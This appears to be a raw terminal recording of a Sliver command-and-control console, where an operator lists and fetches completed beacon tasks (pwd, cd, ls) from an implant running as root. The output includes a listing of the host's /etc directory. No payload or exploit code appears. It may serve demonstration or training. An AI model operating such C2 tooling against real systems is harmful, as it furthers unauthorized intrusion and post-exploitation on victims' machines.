[41.46363, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[41.464981, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
[41.465149, "o", "\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[0J==========================\r\n\r\n\r\n\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
[41.465556, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[41.467683, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
[41.470944, "o", "\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[0J-rw------- root:root .pwd.lock 0 B Tue Apr 25 14:03:14 +0000 2023\r\n-rw-r--r-- root:root adduser.conf 3.0 KiB Tue Apr 25 14:03:14 +0000 2023\r\ndrwxr-xr-x root:root alternatives <dir> Tue Apr 25 14:06:16 +0000 2023\r\ndrwxr-xr-x root:root apt <dir> Tue Apr 25 14:03:14 +0000 2023\r\n-rw-r--r-- root:root bash.bashrc 2.3 KiB Thu Jan 06 16:23:33 +0000 2022\r\n-rw-r--r-- root:root bindresvport.blacklist 367 B Wed Dec 16 11:04:55 +0000 2020\r\ndrwxr-xr-x root:root ca-certificates <dir> Wed May 01 13:50:41 +0000 2024\r\n-rw-r--r-- root:root ca-certificates.conf 5.8 KiB Wed May 01 13:50:51 +0000 2024\r\ndrwxr-xr-x root:root cloud <dir> Tue Apr 25 14:06:23 +0000 2023\r\ndrwxr-xr-x root:root cron.d <d"]
[41.471062, "o", "ir> Tue Apr 25 14:06:19 +0000 2023\r\ndrwxr-xr-x root:root cron.daily <dir> Tue Apr 25 14:06:17 +0000 2023\r\n-rw-r--r-- root:root debconf.conf 2.9 KiB Sun Feb 20 14:42:49 +0000 2022\r\n-rw-r--r-- root:root debian_version 13 B Sun Aug 22 17:00:00 +0000 2021\r\ndrwxr-xr-x root:root default <dir> Tue Apr 25 14:06:18 +0000 2023\r\n-rw-r--r-- root:root deluser.conf 604 B Sat Sep 15 22:14:19 +0000 2018\r\ndrwxr-xr-x root:root dpkg <dir> Tue Apr 25 14:06:16 +0000 2023\r\n-rw-r--r-- root:root e2scrub.conf 685 B Sat Jan 08 20:02:36 +0000 2022\r\n-rw-r--r-- root:root environment 106 B Tue Apr 25 14:03:14 +0000 2023\r\n-rw-r--r-- root:root fstab 37 B Tue Apr 25 14:03:08 +0000 2023\r\n-rw-r--r-- root:root gai.conf "]
[41.471096, "o", " 2.5 KiB Thu Feb 03 05:27:54 +0000 2022\r\n-rw-r--r-- root:root group 446 B Tue Apr 25 14:03:14 +0000 2023\r\n-rw-r----- root:shadow gshadow 374 B Tue Apr 25 14:03:14 +0000 2023\r\ndrwxr-xr-x root:root gss <dir> Mon Feb 21 20:05:20 +0000 2022\r\n-rw-r--r-- root:root host.conf 92 B Fri Oct 15 10:06:05 +0000 2021\r\n-rw-r--r-- root:root hostname 13 B Wed May 01 11:41:24 +0000 2024\r\n-rw-r--r-- root:root hosts 174 B Wed May 01 11:41:24 +0000 2024\r\ndrwxr-xr-x root:root init.d <dir> Tue Apr 25 14:06:09 +0000 2023\r\n-rw-r--r-- root:root inputrc 1.7 KiB Thu Jan 06 16:26:54 +0000 2022\r\n-rw-r--r-- root:root issue 26 B Thu Feb 16 16:02:32 +0000 2023\r\n-rw-r--r-- root:root issue.n"]
[41.471154, "o", "et 19 B Thu Feb 16 16:02:32 +0000 2023\r\ndrwxr-xr-x root:root kernel <dir> Tue Apr 25 14:03:14 +0000 2023\r\n-rw-r--r-- root:root ld.so.cache 6.6 KiB Wed May 01 13:51:02 +0000 2024\r\n-rw-r--r-- root:root ld.so.conf 34 B Wed Dec 16 11:04:55 +0000 2020\r\ndrwxr-xr-x root:root ld.so.conf.d <dir> Tue Apr 25 14:06:17 +0000 2023\r\ndrwxr-xr-x root:root ldap <dir> Wed May 01 13:50:43 +0000 2024\r\n-rw-r--r-- root:root legal 267 B Fri Oct 15 10:06:05 +0000 2021\r\n-rw-r--r-- root:root libaudit.conf 191 B Thu Mar 17 17:50:40 +0000 2022\r\ndrwxr-xr-x root:root logcheck <dir> Wed May 01 13:50:43 +0000 2024\r\n-rw-r--r-- root:root login.defs 10.5 KiB Thu Nov 11 15:42:38 +0000 2021\r\ndrwxr-xr-x root"]
[41.472038, "o", ":root logrotate.d <dir> Tue Apr 25 14:06:17 +0000 2023\r\n-rw-r--r-- root:root lsb-release 104 B Thu Feb 16 16:02:32 +0000 2023\r\n-rw-r--r-- root:root machine-id 0 B Tue Apr 25 14:06:19 +0000 2023\r\n-rw-r--r-- root:root mime.types 70.3 KiB Mon Mar 21 09:12:23 +0000 2022\r\n-rw-r--r-- root:root mke2fs.conf 744 B Sat Jan 08 20:02:36 +0000 2022\r\nLrwxrwxrwx root:root mtab -> /proc/19246/mounts 12 B Wed May 01 11:41:24 +0000 2024\r\n-rw-r--r-- root:root netconfig 767 B Thu Mar 24 16:13:48 +0000 2022\r\n-rw-r--r-- root:root networks 91 B Fri Oct 15 10:06:05 +0000 2021\r\n-rw-r--r-- root:root nsswitch.conf 494 B Wed Dec 16 11:04:55 +0000 2020\r\ndrwxr-xr-x root:root opt <dir> Tue Apr 25 14:03:08 +0000 2023\r\n"]
[41.472187, "o", "Lrwxrwxrwx root:root os-release -> ../usr/lib/os-release 21 B Thu Feb 16 16:02:32 +0000 2023\r\n-rw-r--r-- root:root pam.conf 552 B Wed Aug 12 00:15:04 +0000 2020\r\ndrwxr-xr-x root:root pam.d <dir> Tue Apr 25 14:06:18 +0000 2023\r\n-rw-r--r-- root:root passwd 922 B Tue Apr 25 14:03:14 +0000 2023\r\n-rw-r--r-- root:root profile 582 B Fri Oct 15 10:06:05 +0000 2021\r\ndrwxr-xr-x root:root profile.d <dir> Tue Apr 25 14:06:16 +0000 2023\r\ndrwxr-xr-x root:root python3 <dir> Wed May 01 11:42:42 +0000 2024\r\ndrwxr-xr-x root:root python3.10 <dir> Wed May 01 11:42:32 +0000 2024\r\ndrwxr-xr-x root:root rc0.d <dir> Tue Feb 15 22:32:46 +0000 2022\r\ndrwxr-xr-x root:root rc1.d <dir> Tue Feb 15 22:32"]
[41.472239, "o", ":46 +0000 2022\r\ndrwxr-xr-x root:root rc2.d <dir> Tue Feb 15 22:32:46 +0000 2022\r\ndrwxr-xr-x root:root rc3.d <dir> Tue Feb 15 22:32:46 +0000 2022\r\ndrwxr-xr-x root:root rc4.d <dir> Tue Feb 15 22:32:46 +0000 2022\r\ndrwxr-xr-x root:root rc5.d <dir> Tue Feb 15 22:32:46 +0000 2022\r\ndrwxr-xr-x root:root rc6.d <dir> Tue Feb 15 22:32:46 +0000 2022\r\ndrwxr-xr-x root:root rcS.d <dir> Tue Apr 25 14:03:13 +0000 2023\r\n-rw-r--r-- root:root resolv.conf 97 B Wed May 01 11:41:24 +0000 2024\r\nLrwxrwxrwx root:root rmt -> /usr/sbin/rmt-tar 13 B Wed Feb 15 15:45:50 +0000 2023\r\ndrwxr-xr-x root:root security <dir> Tue Apr 25 14:06:17 +0000 2023\r\ndrwxr-xr-x root:root selinux <dir> "]
[41.472272, "o", "Tue Apr 25 14:05:13 +0000 2023\r\n-rw-r----- root:shadow shadow 501 B Tue Apr 25 14:03:14 +0000 2023\r\n-rw-r--r-- root:root shells 142 B Wed May 01 12:11:33 +0000 2024\r\ndrwxr-xr-x root:root skel <dir> Tue Apr 25 14:03:24 +0000 2023\r\ndrwxr-xr-x root:root ssl <dir> Wed May 01 13:50:43 +0000 2024\r\n-rw-r--r-- root:root subgid 0 B Tue Apr 25 14:03:14 +0000 2023\r\n-rw-r--r-- root:root subuid 0 B Tue Apr 25 14:03:14 +0000 2023\r\n-rw-r--r-- root:root sysctl.conf 2.3 KiB Fri Feb 25 11:32:20 +0000 2022\r\ndrwxr-xr-x root:root sysctl.d <dir> Tue Apr 25 14:05:58 +0000 2023\r\ndrwxr-xr-x root:root systemd <dir> Tue Feb 15 22:32:46 +0000 2022\r\ndrwxr-xr-x root:root terminfo "]
[41.472539, "o", " <dir> Tue Apr 25 14:05:50 +0000 2023\r\ndrwxr-xr-x root:root update-motd.d <dir> Tue Apr 25 14:06:16 +0000 2023\r\n-rw-r--r-- root:root xattr.conf 681 B Wed Mar 23 09:41:49 +0000 2022\r\n\r\n\r\n\r\n\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[41.476523, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[41.476952, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
[43.195143, "o", "\u001b[H\u001b[2J\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
[43.19903, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[43.205324, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
[43.633966, "o", "\u001b[?25l"]
[43.639118, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[43.64733, "o", "t\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[43.64818, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[32D\u001b[31C\u001b[107D\u001b[32C\u001b[?25h"]
[43.790363, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[43.799145, "o", "ta\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[43.80128, "o", "\u001b[107D\u001b[1A\u001b[33D\u001b[31C\u001b[107D\u001b[33C\u001b[?25h"]
[43.947953, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[43.95823, "o", "tas\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[43.959494, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[34D\u001b[31C\u001b[107D\u001b[34C\u001b[?25h"]
[44.104066, "o", "\u001b[?25l\u001b[107D"]
[44.109283, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[44.11694, "o", "task\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[35D\u001b[31C\u001b[107D\u001b[35C\u001b[?25h"]
[44.191033, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[44.199196, "o", "\u001b[1m\u001b[32mtasks\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[44.200362, "o", "\u001b[107D\u001b[1A\u001b[36D\u001b[31C\u001b[107D\u001b[36C\u001b[?25h"]
[44.475015, "o", "\u001b[36D\u001b[31C"]
[44.487286, "o", "\u001b[6n"]
[44.490867, "o", "\u001b[107D\u001b[36C\u001b[0J\u001b[107D"]
[44.491172, "o", "\r\r\n\u001b[0 q\r\n"]
[44.502456, "o", " ID State Message Type Created Sent Completed \r\n========== =========== ============== =============================== =============================== ===============================\r\n"]
[44.502842, "o", " 3fb0a3ef \u001b[1m\u001b[32mcompleted\u001b[0m Ls Wed, 01 May 2024 18:59:46 UTC Wed, 01 May 2024 19:00:06 UTC Wed, 01 May 2024 19:00:06 UTC \r\n 415074fa \u001b[1m\u001b[32mcompleted\u001b[0m Cd Wed, 01 May 2024 18:59:44 UTC Wed, 01 May 2024 19:00:06 UTC Wed, 01 May 2024 19:00:06 UTC \r\n 3b339091 \u001b[1m\u001b[32mcompleted\u001b[0m Pwd Wed, 01 May 2024 18:59:41 UTC Wed, 01 May 2024 19:00:06 UTC Wed, 01 May 2024 19:00:06 UTC \r\n\r\n\r\n"]
[44.521043, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
[44.521239, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
[44.521899, "o", "\u001b[6n"]
[44.5248, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
[44.524934, "o", "\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
[45.138254, "o", "\u001b[?25l\u001b[107D"]
[45.140209, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[45.145196, "o", "t\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[45.147005, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[32D\u001b[31C\u001b[107D\u001b[32C\u001b[?25h"]
[45.228832, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
[45.229719, "o", "\u001b[6n"]
[45.231611, "o", "ta\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[33D\u001b[31C"]
[45.232616, "o", "\u001b[107D\u001b[33C\u001b[?25h"]
[45.337194, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[45.350984, "o", "tas\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[45.35236, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[34D\u001b[31C\u001b[107D\u001b[34C\u001b[?25h"]
[45.436014, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[45.447126, "o", "task\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[45.44806, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[35D\u001b[31C\u001b[107D\u001b[35C\u001b[?25h"]
[45.525114, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[45.530111, "o", "\u001b[1m\u001b[32mtasks\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[36D\u001b[31C\u001b[107D\u001b[36C\u001b[?25h"]
[45.718031, "o", "\u001b[1 q"]
[45.765101, "o", "\u001b[1 q"]
[45.765417, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[45.768441, "o", "\u001b[1m\u001b[32mtasks \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[37D\u001b[31C\u001b[107D\u001b[37C\u001b[?25h"]
[46.15152, "o", "\u001b[?25l\u001b[107D"]
[46.153902, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[46.159136, "o", "\u001b[1m\u001b[32mtasks \u001b[39m\u001b[22mf\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[46.160933, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[38D\u001b[31C\u001b[107D\u001b[38C\u001b[?25h"]
[46.170095, "o", "\u001b[?25l\u001b[107D"]
[46.171199, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[46.175794, "o", "\u001b[1m\u001b[32mtasks \u001b[39m\u001b[22mfe\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[39D\u001b[31C\u001b[107D\u001b[39C\u001b[?25h"]
[46.321279, "o", "\u001b[1 q"]
[46.353862, "o", "\u001b[1 q\u001b[?25l\u001b[107D"]
[46.354607, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[46.358819, "o", "\u001b[1m\u001b[32mtasks \u001b[39m\u001b[22mfetch \u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[46.359617, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[43D\u001b[31C\u001b[107D\u001b[43C\u001b[?25h"]
[46.596519, "o", "\u001b[43D\u001b[31C\u001b[6n"]
[46.600517, "o", "\u001b[107D\u001b[43C\u001b[0J\u001b[107D\r\r\n\u001b[0 q\r\n"]
[46.632537, "o", "\u001b7\u001b[?25l\u001b8"]
[46.634912, "o", "\u001b[0G\u001b[2K"]
[46.635856, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a beacon task:\u001b[0m \u001b[0;36m[Use arrows to move, type to filter]\u001b[0m\r\n\u001b[0;1;36m> 3b339091 PwdReq \u001b[1m\u001b[32mcompleted\u001b[0m \u001b[0m\r\n\u001b[0;39m 415074fa CdReq \u001b[1m\u001b[32mcompleted\u001b[0m \u001b[0m\r\n\u001b[0;39m 3fb0a3ef LsReq \u001b[1m\u001b[32mcompleted\u001b[0m \u001b[0m\r\n\u001b7"]
[46.637993, "o", "\u001b[1A\u001b[0G\u001b[1A\u001b[0G\u001b[1A\u001b[0G"]
[47.960431, "o", "\u001b8\u001b[?25h\u001b8\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a beacon task:\u001b[0m\u001b[0;36m 3b339091 PwdReq \u001b[1m\u001b[32mcompleted\u001b[0m \u001b[0m\r\n"]
[47.962262, "o", "\u001b[1A\r\u001b[2K"]
[47.985035, "o", "+------------------------------------------------------+\r\n| \u001b[1mBeacon Task\u001b[0m | 3b339091-cb42-4463-a504-dabac76180cd |\r\n+---------------+--------------------------------------+\r\n| State | ✅ \u001b[1m\u001b[32mCompleted\u001b[0m |\r\n| Description | PwdReq |\r\n| Created | Wed, 01 May 2024 18:59:41 UTC |\r\n| Sent | Wed, 01 May 2024 19:00:06 UTC |\r\n| Completed | Wed, 01 May 2024 19:00:06 UTC |\r\n| Request Size | 15 B |\r\n| Response Size | 7 B |\r\n+------------------------------------------------------+\r\n"]
[47.986381, "o", "\r\n\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0m/root\r\n\r\n"]
[48.011542, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
[48.012525, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[48.015167, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
[48.01553, "o", "\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
[49.092126, "o", "\u001b[?25l"]
[49.099106, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
[49.105441, "o", "\u001b[1m\u001b[32mtasks \u001b[39m\u001b[22mfetch \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[49.107241, "o", "\u001b[107D\u001b[1A\u001b[43D\u001b[31C\u001b[107D\u001b[43C\u001b[?25h"]
[49.430117, "o", "\u001b[43D\u001b[31C\u001b[6n"]
[49.44589, "o", "\u001b[107D\u001b[43C\u001b[0J\u001b[107D\r\r\n"]
[49.447373, "o", "\u001b[0 q\r\n"]
[49.470053, "o", "\u001b7\u001b[?25l\u001b8\u001b[0G"]
[49.471459, "o", "\u001b[2K"]
[49.474782, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a beacon task:\u001b[0m \u001b[0;36m[Use arrows to move, type to filter]\u001b[0m\r\n\u001b[0;1;36m> 3b339091 PwdReq \u001b[1m\u001b[32mcompleted\u001b[0m \u001b[0m\r\n\u001b[0;39m 415074fa CdReq \u001b[1m\u001b[32mcompleted\u001b[0m \u001b[0m\r\n\u001b[0;39m 3fb0a3ef LsReq \u001b[1m\u001b[32mcompleted\u001b[0m \u001b[0m\r\n\u001b7"]
[49.476183, "o", "\u001b[1A\u001b[0G\u001b[1A\u001b[0G\u001b[1A\u001b[0G"]
[49.971565, "o", "\u001b8\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K"]
[49.977007, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a beacon task:\u001b[0m \u001b[0;36m[Use arrows to move, type to filter]\u001b[0m\r\n\u001b[0;39m 3b339091 PwdReq \u001b[1m\u001b[32mcompleted\u001b[0m \u001b[0m\r\n\u001b[0;1;36m> 415074fa CdReq \u001b[1m\u001b[32mcompleted\u001b[0m \u001b[0m\r\n\u001b[0;39m 3fb0a3ef LsReq \u001b[1m\u001b[32mcompleted\u001b[0m \u001b[0m\r\n\u001b7\u001b[1A\u001b[0G\u001b[1A\u001b[0G"]
[50.26957, "o", "\u001b8"]
[50.27137, "o", "\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K"]
[50.272803, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a beacon task:\u001b[0m \u001b[0;36m[Use arrows to move, type to filter]\u001b[0m\r\n\u001b[0;39m 3b339091 PwdReq \u001b[1m\u001b[32mcompleted\u001b[0m \u001b[0m\r\n\u001b[0;39m 415074fa CdReq \u001b[1m\u001b[32mcompleted\u001b[0m \u001b[0m\r\n\u001b[0;1;36m> 3fb0a3ef LsReq \u001b[1m\u001b[32mcompleted\u001b[0m \u001b[0m\r\n\u001b7"]
[50.275392, "o", "\u001b[1A\u001b[0G"]
[50.809228, "o", "\u001b8\u001b[?25h"]
[50.810289, "o", "\u001b8\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K"]
[50.814212, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a beacon task:\u001b[0m\u001b[0;36m 3fb0a3ef LsReq \u001b[1m\u001b[32mcompleted\u001b[0m \u001b[0m\r\n\u001b[1A\r\u001b[2K"]
[50.826934, "o", "+------------------------------------------------------+\r\n| \u001b[1mBeacon Task\u001b[0m | 3fb0a3ef-b35f-4c5f-911e-4457be4efd9d |\r\n+---------------+--------------------------------------+\r\n| State | ✅ \u001b[1m\u001b[32mCompleted\u001b[0m |\r\n| Description | LsReq |\r\n| Created | Wed, 01 May 2024 18:59:46 UTC |\r\n| Sent | Wed, 01 May 2024 19:00:06 UTC |\r\n| Completed | Wed, 01 May 2024 19:00:06 UTC |\r\n| Request Size | 18 B |\r\n| Response Size | 3.7 KiB |\r\n+------------------------------------------------------+\r\n\r\n"]
[50.828139, "o", "/etc (81 items, 260.8 KiB)\r\n==========================\r\n"]
[50.833346, "o", "-rw------- root:root .pwd.lock 0 B Tue Apr 25 14:03:14 +0000 2023\r\n-rw-r--r-- root:root adduser.conf 3.0 KiB Tue Apr 25 14:03:14 +0000 2023\r\ndrwxr-xr-x root:root alternatives <dir> Tue Apr 25 14:06:16 +0000 2023\r\ndrwxr-xr-x root:root apt <dir> Tue Apr 25 14:03:14 +0000 2023\r\n-rw-r--r-- root:root bash.bashrc 2.3 KiB Thu Jan 06 16:23:33 +0000 2022\r\n-rw-r--r-- root:root bindresvport.blacklist 367 B Wed Dec 16 11:04:55 +0000 2020\r\ndrwxr-xr-x root:root ca-certificates <dir> Wed May 01 13:50:41 +0000 2024\r\n-rw-r--r-- root:root ca-certificates.conf 5.8 KiB Wed May 01 13:50:51 +0000 2024\r\ndrwxr-xr-x root:root cloud <dir> Tue Apr 25 14:06:23 +0000 2023\r\ndrwxr-xr-x root:root cron.d <dir> Tue Apr 25 14:06"]
[50.833809, "o", ":19 +0000 2023\r\ndrwxr-xr-x root:root cron.daily <dir> Tue Apr 25 14:06:17 +0000 2023\r\n-rw-r--r-- root:root debconf.conf 2.9 KiB Sun Feb 20 14:42:49 +0000 2022\r\n-rw-r--r-- root:root debian_version 13 B Sun Aug 22 17:00:00 +0000 2021\r\ndrwxr-xr-x root:root default <dir> Tue Apr 25 14:06:18 +0000 2023\r\n-rw-r--r-- root:root deluser.conf 604 B Sat Sep 15 22:14:19 +0000 2018\r\ndrwxr-xr-x root:root dpkg <dir> Tue Apr 25 14:06:16 +0000 2023\r\n-rw-r--r-- root:root e2scrub.conf 685 B Sat Jan 08 20:02:36 +0000 2022\r\n-rw-r--r-- root:root environment 106 B Tue Apr 25 14:03:14 +0000 2023\r\n-rw-r--r-- root:root fstab 37 B Tue Apr 25 14:03:08 +0000 2023\r\n-rw-r--r-- root:root gai.conf 2.5 KiB "]
[50.833945, "o", "Thu Feb 03 05:27:54 +0000 2022\r\n-rw-r--r-- root:root group 446 B Tue Apr 25 14:03:14 +0000 2023\r\n-rw-r----- root:shadow gshadow 374 B Tue Apr 25 14:03:14 +0000 2023\r\ndrwxr-xr-x root:root gss <dir> Mon Feb 21 20:05:20 +0000 2022\r\n-rw-r--r-- root:root host.conf 92 B Fri Oct 15 10:06:05 +0000 2021\r\n-rw-r--r-- root:root hostname 13 B Wed May 01 11:41:24 +0000 2024\r\n-rw-r--r-- root:root hosts 174 B Wed May 01 11:41:24 +0000 2024\r\ndrwxr-xr-x root:root init.d <dir> Tue Apr 25 14:06:09 +0000 2023\r\n-rw-r--r-- root:root inputrc 1.7 KiB Thu Jan 06 16:26:54 +0000 2022\r\n-rw-r--r-- root:root issue 26 B Thu Feb 16 16:02:32 +0000 2023\r\n-rw-r--r-- root:root issue.net "]
[50.834106, "o", " 19 B Thu Feb 16 16:02:32 +0000 2023\r\ndrwxr-xr-x root:root kernel <dir> Tue Apr 25 14:03:14 +0000 2023\r\n-rw-r--r-- root:root ld.so.cache 6.6 KiB Wed May 01 13:51:02 +0000 2024\r\n-rw-r--r-- root:root ld.so.conf 34 B Wed Dec 16 11:04:55 +0000 2020\r\ndrwxr-xr-x root:root ld.so.conf.d <dir> Tue Apr 25 14:06:17 +0000 2023\r\ndrwxr-xr-x root:root ldap <dir> Wed May 01 13:50:43 +0000 2024\r\n-rw-r--r-- root:root legal 267 B Fri Oct 15 10:06:05 +0000 2021\r\n-rw-r--r-- root:root libaudit.conf 191 B Thu Mar 17 17:50:40 +0000 2022\r\ndrwxr-xr-x root:root logcheck <dir> Wed May 01 13:50:43 +0000 2024\r\n-rw-r--r-- root:root login.defs 10.5 KiB Thu Nov 11 15:42:38 +0000 2021\r\ndrwxr-xr-x root:root logrotate.d "]
